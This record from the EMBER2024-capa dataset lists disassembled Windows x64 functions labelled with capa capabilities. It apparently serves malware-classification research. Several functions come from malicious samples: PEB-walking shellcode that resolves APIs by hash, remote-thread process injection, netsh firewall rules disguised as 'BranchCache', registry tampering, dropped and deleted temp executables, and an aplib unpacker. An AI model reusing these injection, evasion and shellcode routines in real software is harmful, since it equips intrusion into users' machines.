joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e1d81
Capabilities:
Create directory

Disassembly:
jmp 0x140285650
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14032de28]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14028568d
mov byte [rsp + 0x24], 1
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x24]
jmp 0x140285702
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xb7
jne 0x1402856f0
mov edx, 1
mov ecx, 2
call fcn.1400de294
mov r9d, 0xffffffff
mov r8d, eax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
call fcn.1400df437
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x1402856f0
mov edx, 0x10
mov ecx, dword [rsp + 0x48]
call fcn.1400de8b6
movzx eax, al
test eax, eax
jne 0x1402856f0
mov dword [rsp + 0x20], 0xb7
mov byte [rsp + 0x2c], 0
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2c]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400e0288
add rsp, 0x68
ret
Function at 0x1400e2254
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x14014e4d0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rcx, [0x140352ad0]
call fcn.1400e27b8
mov eax, dword [rbp + 0x160]
not eax
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x28], rax
lea rax, [0x1402b3f60]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x158]
dec rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x118], 0
je 0x14014e54f
mov dword [rbp + 0x120], 1
jmp 0x14014e559
mov dword [rbp + 0x120], 0
cmp dword [rbp + 0x120], 0
je 0x14014e5a2
mov eax, dword [rbp + 4]
shr eax, 8
mov ecx, dword [rbp + 4]
and ecx, 0xff
mov rdx, qword [rbp + 0x28]
movzx edx, byte [rdx]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rbp + 0x48]
xor eax, dword [rdx + rcx*4]
mov dword [rbp + 0x114], eax
mov rax, qword [rbp + 0x28]
inc rax
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x114]
mov dword [rbp + 4], eax
jmp 0x14014e51a
mov eax, dword [rbp + 4]
not eax
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x1400e22db
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x1401146a0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x166
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x818]
mov rax, qword [0x14032de28]
xor rax, rbp
mov qword [rbp + 0x7c8], rax
mov qword [rbp + 0x508], 0
lea rcx, [0x140352588]
call fcn.1400e27b8
mov dword [rbp + 0x10], 0x438
mov rax, qword [rbp + 0x7f0]
mov edx, dword [rax + 0x10]
mov ecx, 8
call fcn.1400e01de
mov qword [rbp + 0x468], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x468]
call fcn.1400e0c6f
mov dword [rbp + 0x484], 0
call fcn.1400e1d31
mov dword [rbp + 0x4a4], eax
mov qword [rbp + 0x4c8], 0
mov qword [rbp + 0x4e8], 0
mov rcx, qword [rbp + 0x7f8]
call fcn.1400de695
mov qword [rbp + 0x798], rax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x4c8], rax
cmp qword [rbp + 0x4c8], 0
jne 0x14011478e
mov qword [rbp + 0x7a0], 0
jmp 0x140114879
mov rcx, qword [rbp + 0x4c8]
call qword [sym.imp.ucrtbased.dll_wcslen]
inc eax
mov dword [rbp + 0x484], eax
cmp dword [rbp + 0x484], 0x3fffffff
jle 0x1401147bf
mov qword [rbp + 0x7a8], 0
jmp 0x14011486b
movsxd rax, dword [rbp + 0x484]
shl rax, 1
mov qword [rbp + 0x7b0], rax
movsxd rcx, dword [rbp + 0x484]
shl rcx, 1
add rcx, 0x24
mov qword [rbp + 0x7b8], rcx
mov rcx, qword [rbp + 0x7b8]
add rcx, 0xf
cmp rcx, qword [rbp + 0x7b8]
ja 0x140114803
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400dece9
sub rsp, rax
lea rax, [rsp + 0x20]
mov qword [rbp + 0x7c0], rax
lea r8, [rbp + 0x508]
mov rdx, qword [rbp + 0x7b8]
mov rcx, qword [rbp + 0x7c0]
call fcn.1400e2e61
add qword [rbp + 0x7c0], 0x20
mov r9d, dword [rbp + 0x4a4]
mov rax, qword [rbp + 0x7b0]
mov r8d, eax
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x7c0]
call fcn.1400df8fb
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7a0], rax
mov rdx, qword [rbp + 0x798]
mov rcx, qword [rbp + 0x7a0]
call fcn.1400e2ec0
test eax, eax
jne 0x1401148bd
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x768], rax
mov rcx, qword [rbp + 0x7f8]
call fcn.1400ded20
mov rax, qword [rbp + 0x768]
jmp 0x140114900
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x468]
call fcn.1400deaa0
test eax, eax
jne 0x140114756
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x788], 0
mov rcx, qword [rbp + 0x7f8]
call fcn.1400ded20
mov rax, qword [rbp + 0x788]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1402b2610]
mov r8, qword [rbp + 0x508]
call fcn.1400e0e90
mov rax, rdi
mov rcx, qword [rbp + 0x7c8]
xor rcx, rbp
call fcn.1400e0288
lea rsp, [rbp + 0x7d8]
pop rdi
pop rbp
ret
Function at 0x1400e26d2
Capabilities:
Write file on windows

Disassembly:
jmp 0x1402797d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x14032de28]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x14035365c]
call fcn.1400e27b8
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140279836
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14027983d
mov al, 1
jmp 0x1402799af
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x198], rax
call fcn.1400df356
mov dword [rbp + 0x1a0], eax
mov edx, dword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1d0]
call qword [rbp + 0x198]
mov dword [rbp + 0x164], eax
call fcn.1400df356
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.1400e1c50
movzx eax, al
test eax, eax
je 0x1402798a2
xor al, al
jmp 0x1402799af
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x1a0], eax
cmp dword [rbp + 0x1a0], 0
je 0x140279915
cmp dword [rbp + 0x1a0], 1
je 0x140279920
cmp dword [rbp + 0x1a0], 3
je 0x14027999e
jmp 0x1402799ad
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140279970
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140279970
xor al, al
jmp 0x1402799af
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14027998b
mov dword [rbp + 0x194], 1
jmp 0x140279995
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x1402799af
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1402799af
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1403039f0]
call fcn.1400e1bb0
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.1400e0288
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
push rax
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001c30
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
lea rdx, str.SYSTEMControlSet001ControlSession_ManagerPower
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ce2
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea rdx, str.HiberbootEnabled
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [rsp + 0x40], 1
jne 0x140001cd7
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, str.HiberbootEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x38
ret

Function at 0x140001d90
Capabilities:
Check os version
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rcx
mov rbp, r8
mov rsi, rdx
lea rcx, [rsp + 0x70]
xor ebx, ebx
xor edx, edx
mov r8d, 0x114
mov qword [rsp + 0x60], rbx
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x74], 6
jb 0x140001e4e
lea rcx, [0x140004530]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140004570]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001e4a
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x60]
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call rax
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x140001e77
xor eax, eax
jmp 0x140001e8b
mov qword [rsp + 0x30], rbx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140001e8b
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400020f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, r8
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002134
xor eax, eax
jmp 0x1400021b7
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400021a9
mov qword [rsp + 0x280], rdi
nop dword [rax]
mov edi, dword [rsp + 0x28]
lea rdx, [0x1400045e8]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.MSVCR90.dll__wcsicmp]
test eax, eax
je 0x14000217d
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002150
jmp 0x1400021a1
cmp dword [0x140006a54], 0
je 0x140002197
call fcn.140001c30
mov rdx, rsi
mov ecx, edi
call fcn.140001fd0
jmp 0x1400021a1
mov rdx, rsi
mov ecx, edi
call fcn.140001eb0
mov rdi, qword [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rsi
ret

Function at 0x1400021e0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x20], ax
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
lea r8, [rsp + 0x20]
xor edx, edx
repne scasw ax, word [rdi]
mov eax, dword [0x1400045b8]
or rcx, 0xffffffffffffffff
mov dword [rdi - 2], eax
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasw ax, word [rdi]
mov rax, qword [str.smsactive64.dll]
lea rcx, [0x1400045e8]
mov qword [rdi - 2], rax
mov rax, qword [0x1400045c8]
mov qword [rdi + 6], rax
mov rax, qword [0x1400045d0]
mov qword [rdi + 0xe], rax
mov rax, qword [0x1400045d8]
mov qword [rdi + 0x16], rax
call fcn.1400020f0
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140002870
add rsp, 0x240
pop rdi
ret
Function at 0x1400022b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov rax, qword [str.SYSTEMControlSet001_servicesV3_Service]
mov rbx, rcx
lea rcx, [rsp + 0x150]
mov qword [rcx], rax
mov rax, qword [0x140004620]
xor edx, edx
mov qword [rcx + 8], rax
mov rax, qword [0x140004628]
mov r8d, 0xda
mov qword [rcx + 0x10], rax
mov rax, qword [0x140004630]
xor edi, edi
mov qword [rcx + 0x18], rax
mov rax, qword [0x140004638]
mov qword [rcx + 0x20], rax
movzx eax, word [0x140004640]
mov word [rcx + 0x28], ax
lea rcx, [rsp + 0x17a]
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x38]
lea rdx, [rsp + 0x150]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002403
lea rdx, [rsp + 0x260]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], dil
call sub.MSVCR90.dll_memset
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea rdx, str.ImagePath
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140002403
lea edx, [rdi + 0x22]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x1400023dd
mov byte [rax], dil
lea rax, [rsp + 0x41]
lea rcx, [rsp + 0x41]
sub rbx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x1400023f0
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140002413
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x398]
add rsp, 0x380
pop rdi
ret
Function at 0x140002440
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, [0x140006020]
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x1400024b4
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400024f4
lea ebx, [rax + 1]
jmp 0x140002529
lea rax, [rsp + 0x70]
lea rdx, [0x140006020]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140002529
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140002539
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x140002550
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.140002440
test eax, eax
je 0x140002564
xor eax, eax
add rsp, 0x38
ret
lea rcx, [0x140006b70]
xor edx, edx
mov r8d, 0xfa0
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [0x140006b70]
call qword [sym.imp.MSVCR90.dll__swprintf]
xor r11d, r11d
lea r9, [0x140006b70]
mov dword [rsp + 0x28], r11d
lea r8, [0x140004778]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add rsp, 0x38
ret
Function at 0x1400025d0
Capabilities:
Create process on windows
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x6d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x6c0], rax
lea rcx, [rsp + 0x5b1]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x5b0], dil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x281]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x280], dil
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 0xf]
xor edx, edx
mov dword [rsp + 0x34], 4
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x40], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x5b0]
call fcn.1400022b0
test eax, eax
je 0x14000278a
call fcn.140002550
lea r11, [rsp + 0x38]
lea rdx, [0x140006020]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000278a
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400026e6
cmp dword [rsp + 0x30], 3
je 0x14000278a
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x280]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x5b0]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x280]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x280]
lea r8, [0x1400047f8]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000279a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x391]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x390], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x4a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x4a0], 0
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x4a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.ssdx64.exe
lea r8, [rsp + 0x4a0]
lea rdx, [0x14000480c]
lea rcx, [rsp + 0x390]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rcx, [rsp + 0x390]
call qword [sym.imp.MSVCR90.dll_remove]
lea rcx, str.c:windows_temp_rerx.exe
call qword [sym.imp.MSVCR90.dll_remove]
mov eax, edi
mov rcx, qword [rsp + 0x6c0]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x6e0]
add rsp, 0x6d0
pop rdi
ret
Function at 0x180b51058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x180b511df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180b51089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180b5106f
add dl, dl
jne 0x180b51096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180b510f6
xor eax, eax
add dl, dl
jne 0x180b510a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180b511ad
add dl, dl
jne 0x180b510b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180b510c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180b510d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180b510dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180b510ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180b5107e
mov eax, 1
add dl, dl
jne 0x180b51106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180b51113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180b510fb
sub eax, ebx
mov ebx, 1
jne 0x180b5114c
mov ecx, 1
add dl, dl
jne 0x180b5112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180b5113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180b51123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180b5107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180b51168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180b51175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180b5115d
cmp eax, 0x7d00
jae 0x180b5119b
cmp eax, 0x500
jb 0x180b51196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180b5107e
cmp eax, 0x7f
ja 0x180b5119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180b5107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180b511d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180b5107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20